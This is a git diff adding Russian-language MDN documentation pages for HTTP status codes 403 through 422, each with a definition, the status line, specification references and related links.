+<p>Код ответа на статус ошибки "HTTP 403 Forbidden" указывает, что сервер понял запрос, но отказывается его авторизовать.</p>
+
+<p>Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещен и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">403 Forbidden</pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre class="notranslate">HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+ <td>HTTP/1.1: Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурированых данных. Если вы хотите внести вклад в содержимое, пожалуйста посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</p>
+
+<p>{{Compat("http/status", "403")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+<li><a href="https://www.exai.com/blog/403-forbidden">403 Forbidden</a></li>
+</ul>
diff --git a/files/ru/web/http/status/404/index.html b/files/ru/web/http/status/404/index.html
new file mode 100644
index 0000000000..37efe1c6ad
--- /dev/null
+++ b/files/ru/web/http/status/404/index.html
@@ -0,0 +1,56 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на ошибку HTTP <strong>404 Not Found</strong> указывает, что сервер не может найти запрошенный ресурс. Ссылки, ведущие к коду 404, часто называются сломанными или мёртвыми связями и приводят к <a href="https://en.wikipedia.org/wiki/Link_rot">ссылочной гнили</a>.</p>
+
+<p>Код статуса 404 не уточняет, отсутствует ли запрашиваемый ресурс временно или постоянно. Но если серверу известно, что указанный ресурс удалён навсегда, то вместо статуса 404 следует использовать {{HTTPStatus(410)}} (Gone) .</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">404 Not Found</pre>
+
+<h2 id="Пользовательские_страницы_ошибок">Пользовательские страницы ошибок</h2>
+
+<p>Многие веб-сайты настраивают внешний вид страницы 404, чтобы быть более полезными для пользователя и давать рекомендации. Серверы Apache могут быть настроены с использованием файла <strong>.htaccess</strong> и фрагмента кода, например, такого, как этот.</p>
+
+<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre>
+
+<p>Вы можете взять <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a> в качестве вдохновения.</p>
+
+<div class="note">
+<p>Примечание: дизайн на 404 страницах -  <a href="https://www.google.fr/search?q=awesome+404+pages">an endless source of inspiration</a>, но имейте в виду, что в нем также существует  <a href="http://alistapart.com/article/perfect404">a set of best practices</a>, которые делают эти страницы полезными для пользователей веб-сайтов.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "404")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+ <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html
new file mode 100644
index 0000000000..afea810f1b
--- /dev/null
+++ b/files/ru/web/http/status/405/index.html
@@ -0,0 +1,37 @@
+---
+title: 405 Method Not Allowed
+slug: Web/HTTP/Status/405
+translation_of: Web/HTTP/Status/405
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния протокола HTTP  <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong>, указывает, что метод запроса известен серверу, но был отключен и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.</p>
+
+<p>Сервер ОБЯЗАН сгенерировать поле заголовка <code><strong>Allow</strong></code> в ответе с кодом 405, которое содержит список текущих доступных методов ресурса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">405 Method Not Allowed</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Титул</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+<li><a href="https://www.exai.com/blog/http-405-error">405 Method Not Allowed</a></li>
+
+</ul>
diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html
new file mode 100644
index 0000000000..a06e73be59
--- /dev/null
+++ b/files/ru/web/http/status/406/index.html
@@ -0,0 +1,61 @@
+---
+title: 406 Not Acceptable
+slug: Web/HTTP/Status/406
+tags:
+ - HTTP
+ - Код состояния HTTP
+translation_of: Web/HTTP/Status/406
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) код ошибки клиента <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определенных в заголовках упреждающего <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования контента</a>, и что сервер не желает вернуть представление контента по-умолчанию.</p>
+
+<p>Заголовки упреждающего согласования контента включают:</p>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+ <li>{{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+</ul>
+
+<p>На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтет это коду ошибки.</p>
+
+<p>Если сервер возвращает такой код ошибки, тело сообщения должно содержать список доступных представлений ресурсов, позволяя вручную выбирать между ними.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">406 Not Acceptable</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>Информация, показываемая ниже, была получена из GitHub-репозитория MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотели бы внести свой вклад в эти данные, пожалуйста, склонируйте к себе репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-request.</p>
+
+<p>{{Compat("http/status", "406")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+ <li>{{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+</ul>
diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html
new file mode 100644
index 0000000000..4f66630555
--- /dev/null
+++ b/files/ru/web/http/status/407/index.html
@@ -0,0 +1,54 @@
+---
+title: 407 Proxy Authentication Required
+slug: Web/HTTP/Status/407
+translation_of: Web/HTTP/Status/407
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>код ответа на ошибку клиента указывает, что запрос не был применен, поскольку он не имеет достоверных учетных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..</p>
+
+<p>Этот статус отправляется с {{HTTPHeader("Proxy-Authenticate")}}, который содержит информацию о том, как правильно разрешить авторизацию.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">407 Proxy Authentication Required </pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre>HTTP/1.1 407 Proxy Authentication Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+Proxy-Authenticate: Basic realm="Access to internal site"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}</td>
+ <td>HTTP/1.1: Authentication</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "407")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html
new file mode 100644
index 0000000000..9f0f0de305
--- /dev/null
+++ b/files/ru/web/http/status/408/index.html
@@ -0,0 +1,39 @@
+---
+title: 408 Request Timeout
+slug: Web/HTTP/Status/408
+translation_of: Web/HTTP/Status/408
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>408</strong></code><strong><code> Request Timeout</code></strong>  означает, что сервер хотел бы отключить это неиспользуемое соединение. Он отправляется на незанятое соединение некоторыми серверами, <em>даже без какого-либо предыдущего запроса клиентом</em></p>
+
+<p>Сервер должен отправить заголовок {{HTTPHeader("Connection")}} со значением «close» в ответ, поскольку <strong>408</strong> подразумевает, что сервер решил закрыть соединение, а не продолжать ждать.</p>
+
+<p>Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения серфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">408 Request Timeout</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Титул</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li>
+<li><a class="external" href="https://www.exai.com/blog/408-request-timeout-error" rel="noopener">408 Request Timeout </a></li>
+</ul>
diff --git a/files/ru/web/http/status/409/index.html b/files/ru/web/http/status/409/index.html
new file mode 100644
index 0000000000..8f466a326a
--- /dev/null
+++ b/files/ru/web/http/status/409/index.html
@@ -0,0 +1,40 @@
+---
+title: 409 Conflict
+slug: Web/HTTP/Status/409
+tags:
+ - HTTP
+ - HTTP Статус Код
+ - Ошибка клиента
+ - Ссылка
+translation_of: Web/HTTP/Status/409
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>409 Conflict</strong></code> код состояния ответа указывает на конфликт запроса с текущим состоянием сервера.</p>
+
+<p>Конфликты чаще всего возникают в ответ на {{HTTPMethod("PUT")}} запрос. Например, вы можете получить ответ 409 при загрузке файла, который старше, чем тот, который уже существует на сервере, что приводит к конфликту управления версиями.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">409 Conflict</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPMethod("PUT")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/410/index.html b/files/ru/web/http/status/410/index.html
new file mode 100644
index 0000000000..99afd4a8d8
--- /dev/null
+++ b/files/ru/web/http/status/410/index.html
@@ -0,0 +1,47 @@
+---
+title: 410 Gone
+slug: Web/HTTP/Status/410
+translation_of: Web/HTTP/Status/410
+---
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<p>Код ошибки HTTP <code><strong>410 Gone</strong></code> указывает, что целевой ресурс больше недоступен на сервере происхождения и что это состояние, вероятно, будет постоянным.</p>
+
+<p>Если вы не знаете, является это состояние временным или постоянным, вместо него следует использовать код статуса {{HTTPStatus(404)}} .</p>
+
+<div class="note">
+<p>По умолчанию ответ 410 кэшируется</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">410 Gone</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "410 Gone" , "6.5.9")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.410")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(404)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html
new file mode 100644
index 0000000000..9c7899a650
--- /dev/null
+++ b/files/ru/web/http/status/411/index.html
@@ -0,0 +1,36 @@
+---
+title: 411 Length Required
+slug: Web/HTTP/Status/411
+translation_of: Web/HTTP/Status/411
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на ошибку <code><strong>411</strong></code><strong><code> Length Required</code></strong> указывает, что сервер отказывается принять запрос без определенного  {{HTTPHeader("Content-Length")}}. </p>
+
+<p>Обратите внимание, что по спецификации при отправке данных в ряд фрагментов<strong> Content-Length</strong> опущен, и в начале каждого фрагмента вам нужно добавить длину текущего фрагмента в шестнадцатеричном формате. Подробнее смотрите {{HTTPHeader("Transfer-Encoding")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">411 Length Required</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html
new file mode 100644
index 0000000000..a3b7883952
--- /dev/null
+++ b/files/ru/web/http/status/412/index.html
@@ -0,0 +1,42 @@
+---
+title: 412 Precondition Failed
+slug: Web/HTTP/Status/412
+translation_of: Web/HTTP/Status/412
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонен. Это происходит с условными запросами на методы, отличные от  {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">412 Precondition Failed</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "412 Precondition Failed" , "4.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "412")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("304")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("428")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html
new file mode 100644
index 0000000000..e0383192a9
--- /dev/null
+++ b/files/ru/web/http/status/413/index.html
@@ -0,0 +1,34 @@
+---
+title: 413 Payload Too Large
+slug: Web/HTTP/Status/413
+translation_of: Web/HTTP/Status/413
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , указывает, что объект запроса больше, чем ограничения, определенные сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">413 Payload Too Large</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/414/index.html b/files/ru/web/http/status/414/index.html
new file mode 100644
index 0000000000..39a195968e
--- /dev/null
+++ b/files/ru/web/http/status/414/index.html
@@ -0,0 +1,41 @@
+---
+title: 414 URI Too Long
+slug: Web/HTTP/Status/414
+translation_of: Web/HTTP/Status/414
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния HTTP <code><strong>414 URI Too Long</strong></code>  указывает, что URI, запрошенный клиентом, длиннее, чем сервер готов интерпретировать.</p>
+
+<p>Есть несколько редких условий, когда это может произойти:</p>
+
+<ul>
+ <li>Когда клиент неправильно конвертировал {{HTTPMethod("POST")}} запрос в {{HTTPMethod ("GET")}} запрос с длинной информацией запроса,</li>
+ <li>Когда клиент спустился в цикл перенаправления (например, перенаправленный префикс URI, который указывает на суффикс самого себя),,</li>
+ <li>Или когда сервер подвергается атаке со стороны клиента, пытающегося использовать потенциальные дыры в безопасности.</li>
+</ul>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">414 URI Too Long</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификации</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "414 URI Too Long" , "6.5.12")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("URI")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/415/index.html b/files/ru/web/http/status/415/index.html
new file mode 100644
index 0000000000..73c47e719d
--- /dev/null
+++ b/files/ru/web/http/status/415/index.html
@@ -0,0 +1,37 @@
+---
+title: 415 Unsupported Media Type
+slug: Web/HTTP/Status/415
+translation_of: Web/HTTP/Status/415
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на ошибку клиента HTTP<strong> 415 Unsupported Media Type</strong> указывает, что сервер отказывается принять запрос, потому что формат содержимого не поддерживается сервером.</p>
+
+<p>Проблема формата может быть связана с указанным запросом {{HTTPHeader("Content-Type")}} или {{HTTPHeader("Content-Encoding")}} или в результате непосредственного контроля данных.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">415 Unsupported Media Type</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html
new file mode 100644
index 0000000000..05ffd0b379
--- /dev/null
+++ b/files/ru/web/http/status/416/index.html
@@ -0,0 +1,49 @@
+---
+title: 416 Range Not Satisfiable
+slug: Web/HTTP/Status/416
+tags:
+ - HTTP
+ - Код состояния
+ - Ошибка клиента
+translation_of: Web/HTTP/Status/416
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ошибки HTTP <strong>416 Range Not Satisfiable</strong> указывает, что сервер не может обслуживать запрошенные диапазоны. Наиболее вероятная причина заключается в том, что документ не содержит таких диапазонов или что значение {{HTTPHeader ("Range")}}, хотя и синтаксически корректно, не имеет смысла.</p>
+
+<p>Cообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворенный диапазон (это <code>'*'</code>), за которым следуют <code>'/'</code> и текущий ресурс. Например: <code>Content-Range: */12777</code></p>
+
+<p>Столкнувшись с этой ошибкой, браузеры обычно либо прерывают операцию (например, загрузка будет считаться не возобновляемой), либо снова запрашиваются ведь документ.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">416 Range Not Satisfiable</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status.416")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(206)}} <code>Partial Content</code></li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/417/index.html b/files/ru/web/http/status/417/index.html
new file mode 100644
index 0000000000..75cd262422
--- /dev/null
+++ b/files/ru/web/http/status/417/index.html
@@ -0,0 +1,41 @@
+---
+title: 417 Expectation Failed
+slug: Web/HTTP/Status/417
+tags:
+ - HTTP
+ - Код статуса
+ - Код статуса HTTP
+ - Ошибка клиента
+ - Справка
+translation_of: Web/HTTP/Status/417
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ошибки HTTP <strong><code>417 Expectation Failed</code></strong> указывает на то, что ожидание, указанное в  {{HTTPHeader("Expect")}}, не может быть выполнено.</p>
+
+<p>Дополнительную информацию смотрите в  {{HTTPHeader("Expect")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">417 Expectation Failed</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/418/index.html b/files/ru/web/http/status/418/index.html
new file mode 100644
index 0000000000..fb8bf0dd9f
--- /dev/null
+++ b/files/ru/web/http/status/418/index.html
@@ -0,0 +1,48 @@
+---
+title: 418 I'm a teapot
+slug: Web/HTTP/Status/418
+tags:
+ - 1 апреля
+ - '418'
+ - кофе
+ - кофейник
+ - чайник
+ - шутка
+translation_of: Web/HTTP/Status/418
+---
+<div>{{HTTPSidebar}}</div>
+
+<div> </div>
+
+<p>HTTP код ошибки <strong><code>418 I'm a teapot</code></strong> сообщает о том, что сервер не может приготовить кофе, потому что он чайник. Эта ошибка ссылается на Hyper Text Coffee Pot Control Protocol (гипертекстовый протокол кофейников) который был первоапрельской шуткой в 1998 году.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+ <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Hyper Text Coffee Pot Control Protocol", "Wikipedia: Hyper Text Coffee Pot Control Protocol")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/422/index.html b/files/ru/web/http/status/422/index.html
new file mode 100644
index 0000000000..cb37f0af93
--- /dev/null
+++ b/files/ru/web/http/status/422/index.html
@@ -0,0 +1,41 @@
+---
+title: 422 Unprocessable Entity
+slug: Web/HTTP/Status/422
+tags:
+ - HTTP
+ - HTTP коды состояний
+ - WebDAV
+ - Коды состояний
+ - Ошибка клиента
+translation_of: Web/HTTP/Status/422
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>Код состояния ответа HTTP <code><strong>422 Unprocessable Entity</strong></code> указывает, что сервер понимает тип содержимого в теле запроса и синтаксис запроса является правильным, но серверу не удалось обработать инструкции содержимого.</p>
+
+<p>К примеру, эта ошибка может возникнуть, если тело запроса содержит хорошо сформированный (т.е. синтаксически корректный) XML-документ, но семантически ошибочные XML-инструкции.</p>
+
